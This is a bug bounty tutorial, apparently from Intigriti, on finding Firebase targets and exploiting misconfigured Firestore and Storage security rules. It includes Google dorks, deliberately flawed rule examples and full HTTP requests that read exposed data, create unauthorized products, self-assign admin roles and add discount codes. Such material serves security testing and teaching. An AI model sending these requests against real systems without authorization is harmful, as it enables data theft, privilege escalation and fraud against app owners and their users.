Hacking misconfigured Firebase targets: A complete guide

BY BLACKBIRD-EU · AUGUST 13, 2025 · LAST UPDATED ON AUGUST 28, 2025

Google Firebase is a popular back-end application development platform that provides several built-in components and services, allowing developers to seamlessly build interactive web and mobile applications. But as with any development platform and framework, security always proves to be difficult. The recent data breach incident involving the Tea dating app that used Firebase proves that security is just getting harder and harder to grasp.

In this article, we will cover the most common security misconfigurations in targets that actively use Google Firebase Firestore or Storage.

Let's dive in!

What is Google Firebase?

Google Firebase is a comprehensive app development platform owned by Google that provides backend-as-a-service (BaaS) functionality. It allows developers to build interactive web and mobile applications without managing their server infrastructure. Services include authentication, storage analytics, and application hosting.

Throughout this article, we will put our main focus on two services:

1. **Firebase Firestore:** A NoSQL document database for storing and syncing app data in real-time across clients.
2. **Firebase Storage:** A cloud storage service for storing and serving user-generated content like images, videos, and files.

Both services provide built-in security access control rules, which we want to dive deeper into.

Firebase security rules

Firebase security rules are a declarative configuration language that defines who can access your Firebase resources and under what conditions. They act as the primary security mechanism for Firebase services, essentially functioning as a server-side firewall that evaluates every request before allowing or denying access to your data.

For instance, in Firebase Firestore, security rules determine which users can read, write, update, or delete documents and collections in your NoSQL database. For Firebase Storage, security rules serve a similar protective function but focus on file operations rather than database operations. They control who can upload, download (read), modify, or delete files in your storage buckets.

This server-side enforcement is crucial because relying solely on client-side validation or API-level checks is fundamentally insecure. Attackers can bypass your API-level checks entirely and send requests directly

to Firebase's REST API or use the Firebase SDK to interact with your backend services.

A similar event happened a few weeks ago with the Tea dating app. Let's learn how to spot targets that actively use Firebase in their tech stack, as this is not always a straightforward process.

Finding & identifying Firebase targets

To properly identify all Firebase projects linked to your target, we'll need to combine multiple discovery methods. Some developers make use of a reverse proxy to avoid initiating connections to the Firebase REST API directly from the client-side.

Examining HTTP requests

The most straightforward approach to fingerprinting Firebase in your target is by examining outgoing HTTP requests. On some occasions, you will come across targets that make use of Firebase services without deploying a server between the client-side and Firebase's REST API.

In that instance, you can simply open your network tab under developer tools or your proxy interceptor of choice and examine any HTTP requests to `*.firebaseio.com` and `.firebaseapp.com`. This method will also allow us to enumerate possible REST API endpoints, a crucial step when we proceed with testing for access controls.

Examining JavaScript files

JavaScript files will often contain Firebase configuration data, including the project ID, database URL (pointing to `*.firebaseio.com`, storage bucket (pointing to `firebasestorage.app`), etc. This data is crucial whenever we want to communicate with the Firebase's REST API to test for missing access controls.

```
const firebaseConfig = {
  apiKey: "AIzaSyC7Xm9pL2kN8vR4qW6tY3uH5jF9gD1bC0e",
  authDomain: "intigriti-example-demo.firebaseapp.com",
  databaseURL: "https://intigriti-example-demo.firebaseio.com/",
  projectId: "intigriti-example-demo",
  storageBucket: "intigriti-example-demo.appspot.com",
  messagingSenderId: "123456789012",
  appId: "1:123456789012:web:abc123def456789012345",
  measurementId: "G-ABCD123456"
};

...
```

Example of a JavaScript file with Firebase project configuration

Reading tip

JavaScript files are a goldmine for bug bounty hunters! Learn more about how to properly analyze and test JavaScript files to find more vulnerabilities.

Google and GitHub dorking

Firebase Firestore and Storage both provide a REST API to which you can communicate to perform all sorts of data manipulation operations. These are hosted under the subsequent `firebaseio.com` and

firebasestorage.app domains.

With a simple Google or GitHub code search, we can easily check if our target has any active Firebase projects that we can test:

```
site:.firebaseio.com "<target>"
```

Or:

```
(site:.firebasestorage.app OR site:.appspot.com) "<target>"
```

We've now learned how to successfully find and identify targets that actively use Firebase services. Let's proceed with diving deeper into how to test for missing access controls and other security misconfigurations.

Testing for missing access controls

As we've documented earlier in this article, Firebase Firestore (the NoSQL database) and Storage both rely on Firebase security rules to validate proper access controls. They allow developers to define, in a programming language similar to JavaScript, who can access certain Firebase resources and under what conditions. When these are missing or improperly configured, it can possibly allow us to read, create, or delete more data than we're intended to.

It is worth noting that whenever testing for missing access controls, you must perform your tests directly against Firebase's REST API. Additionally, because of the way Firebase rules are enforced (deny-by-default), we must test for access controls with and without credentials. Practically, this means that we'll need to test access as an anonymous navigator (without credentials) as well as an authenticated (logged in) user.

Since Firebase security rules are granular and allow developers to specify security conditions per resource (such as file, database, database collection, etc.), we must ensure that we also test all endpoints separately.

Testing for missing read access controls

Let's start with a basic example of an overly-permissive Firebase security rule. Can you seem to spot the issue in the rule below?

```
rules_version = '2';

service cloud.firestore {
  match /databases/{database}/documents {

    // Default: Deny all access
    match /{document=**} {
      allow read, write: if false;
    }

    // VULNERABILITY: Overly permissive read access for contact forms
    match /contact-form-data/{formId} {
      allow read, write, create, delete: if true;
    }
  }
}
```

Example of a misconfigured Firebase Firestore security rule definition

In the code snippet above, we can see that all access is restricted by default. However, access to the **/contact-form-data** endpoint is insufficiently protected, allowing anyone to read contact form inquiries containing sensitive contact details.

This simple overhead likely stems from a logic error whereby the developer may have thought that create, read, update, and delete access is required for page visitors to submit a contact query form.

In practice, we could visit one of the following endpoints and read all the data:

```
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/contact-form-data
```

Example of a misconfigured Firebase Firestore instance

Testing for missing create and write access controls

Firebase Firestore and Storage support the 4 data manipulation operations: **C**reate, **R**ead, **U**pdate (write), and **D**elete. Suppose we want to test our target against missing access controls for the 'create' method, we'll need to craft a POST request to Firebase's REST API.

Let's take a look at an example:

```
rules_version = '2';

service cloud.firestore {
  match /databases/{database}/documents {

    match /admin-mgmt/products/{productId} {
      allow read, write, create, delete: if request.auth != null;
    }

    match /admin-mgmt/discount-codes/{codeId} {
      allow read, create, delete: if request.auth != null &&
                                     request.auth.token.roles.hasAny(['admin', 'maintainer']);
    }

    match /users/profile/{userId} {
      allow read, write, create: if request.auth != null &&
                                    request.auth.uid == userId;
    }
  }
}
```

Example of a misconfigured Firebase Firestore security rule definition

In the Firebase rules config above, we can spot 3 issues:

1. The endpoint **`/admin-mgmt/products`** only performs authentication checks (no authorization validation)
2. The endpoint **`/admin-mgmt/discount-codes`** allows read, create, and delete access if the user role of **`admin`** or **`maintainer`** is in the authentication object.
3. The endpoint **`/users/profile`** does not perform any data validation before insertion, allowing us (as an authenticated user) to assign or add a user role of choice.

The first flaw allows us to create new products as any authenticated user. Replicating the following HTTP request would essentially create a new product that'd be visible on the forefront of our target's webshop.

```
POST /v1/projects/<PROJECT_ID>/databases/(default)/documents/admin-mgmt/products HTTP/2
Host: firestore.googleapis.com
Content-Type: application/json
Authorization: Bearer USER_ID
Content-Length: 336

{
  "fields": {
    "name": {
      "stringValue": "New Product"
    },
    "price": {
      "doubleValue": 9999.99
    },
    "description": {
      "stringValue": "This product was created by an unauthorized user"
    },
    "category": {
      "stringValue": "intigriti"
    },
    "inStock": {
      "booleanValue": true
    }
  }
}
```

We can also derive from the Firebase security rules configuration that the endpoint **`/user/profile`** does not perform any type of data validation. This likely means that the developers have an API in place that performs all the data validation, which isn't recommended, as we can easily evade all the validation by sending our requests directly to the Firebase REST API.

In combination with the **`/admin-mgmt/discount-codes`**, we can essentially add our discount codes that would work on the checkout page.

Request 1: Updating our profile to include the necessary user roles

```
PATCH /v1/projects/<PROJECT_ID>/databases/(default)/documents/users/profile/<USER_ID> HTTP/2
Host: firestore.googleapis.com
Content-Type: application/json
Authorization: Bearer <USER_ID_TOKEN>
Content-Length: 308

{
  "fields": {
    "name": {
      "stringValue": "Intigriti Example"
    },
    "email": {
      "stringValue": "intigriti@intigriti.me"
    },
    "roles": {
      "arrayValue": {
        "values": [
          {"stringValue": "admin"},
          {"stringValue": "maintainer"}
        ]
      }
    }
  }
}
```

Request 2: Adding new discount codes

```
POST /v1/projects/<PROJECT_ID>/databases/(default)/documents/admin-mgmt/discount-codes HTTP/2
Host: firestore.googleapis.com
Content-Type: application/json
Authorization: Bearer <USER_ID_TOKEN>
Content-Length: 308

{
  "fields": {
    "code": {
      "stringValue": "INTIGRITI1337"
    },
    "discount": {
      "doubleValue": 1337.0
    },
    "expiryDate": {
      "timestampValue": "2025-12-31T23:59:59Z"
    },
    "usageLimit": {
      "integerValue": 1
    },
    "isActive": {
      "booleanValue": true
    }
  }
}
```

Testing for missing delete access controls

Let's cover another example. The following Firebase security rules are put in place to help users easily add and remove their profile picture.

```
rules_version = '2';

service firebase.storage {
  match /b/{bucket}/o {
    match /static/user-images/{profilePictureID} {
      allow read, create, write: if request.auth != null;
      allow delete: if request.auth != null &&
                    request.auth.token.userId == resource.metadata.userId;
    }
  }
}
```

Example of a misconfigured Firebase Firestore security rule definition

In this configuration, we can see that the ownership validation is flawed and that anyone who manipulates the **metadata.userId** during file upload, can also delete this resource without proper authorization. In this instance, a developer will likely need to introduce proper input validation before allowing anyone to upload (create) or change (write) their profile picture.

Testing for CORS misconfigurations

Cross-origin resource sharing is supported on both Firebase services. Firebase Firestore allows any origin to connect to the REST API, as intended. However, Firebase Storage works with a set of rules that developers will need to declare in a special configuration file.

When these rules are overly permissive, for instance, during development, any unwanted origin would practically be allowed to make requests to the storage bucket. This can introduce potential security flaws that could be further weaponized into higher-severity issues.

```
[
  {
    "origin": ["*"],
    "method": ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS"],
    "responseHeader": ["*"],
    "maxAgeSeconds": 86400
  }
]
```

Example of an overly-permissive CORS policy in Firebase Storage

Reading tip

Learn how to weaponize CORS misconfigurations in modern applications.

Conclusion

You've probably already come across a target that actively uses Firebase Firestore/Storage, maybe even a misconfigured one too, and if you ignored them before, we hope this article shines some light on the most common security misconfigurations present in these two services.

So, you've just learned something new about security misconfigurations in Firebase Firestore/Storage... Right now, it's time to put your skills to the test! You can start by practicing on vulnerable labs or... browse through our **70+ public bug bounty programs on Intigriti**, and who knows, maybe earn a bounty on your next submission!

START HACKING ON INTIGRITI TODAY